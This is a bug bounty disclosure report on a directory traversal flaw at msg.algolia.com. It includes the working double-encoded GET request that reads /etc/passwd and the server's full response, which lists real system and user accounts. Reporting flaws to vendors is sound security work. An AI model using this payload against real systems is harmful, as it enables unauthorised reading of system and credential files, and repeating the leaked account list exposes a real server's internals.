Directory traversal at https://msg.algolia.com
Medium
A
Algolia
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n00bsec
Vulnerability Details
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Hi,
I was able to view the internal server files at https://msg.algolia.com.
Please see the attached screenshots for proof.
I have tried to reproduce from within firefox and internet explorer without much luck however if you need it I will try to come up with a work around.
For reference the response header is as follows:
--------------------------------------------------------------------------
HTTP/1.1 200 OK
Date: Wed, 04 Apr 2018 04:58:25 GMT
Content-Type: text/plain; charset=utf-8
Connection: close
Last-Modified: Tue, 06 Jun 2017 09:15:37 GMT
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Server: cloudflare
CF-RAY: 4061331ffd53aa7a-SIN
Content-Length: 1696
-------------------------------------------------------------------------------------
And here request to view directory traversal
GET /static/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd HTTP/1.1
Host: msg.algolia.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: id,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: __cfduid=d34587d94eba9413080d1f7aca5062a871522817854
Connection: close
Upgrade-Insecure-Requests: 1
Response:
HTTP/1.1 200 OK
Date: Wed, 04 Apr 2018 04:58:25 GMT
Content-Type: text/plain; charset=utf-8
Connection: close
Last-Modified: Tue, 06 Jun 2017 09:15:37 GMT
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Server: cloudflare
CF-RAY: 4061331ffd53aa7a-SIN
Content-Length: 1696
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-blocked:x:33:33:www-blocked:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:109::/var/run/dbus:/bin/false
lxd:x:107:65534::/var/lib/lxd/:/bin/false
uuidd:x:108:113::/run/uuidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
ntp:x:112:116::/home/ntp:/bin/false
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
eranchetz:x:1001:1002::/home/eranchetz:/bin/bash
## Impact
we can see sensitive information (ex. /etc/passwd) file
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Path Traversal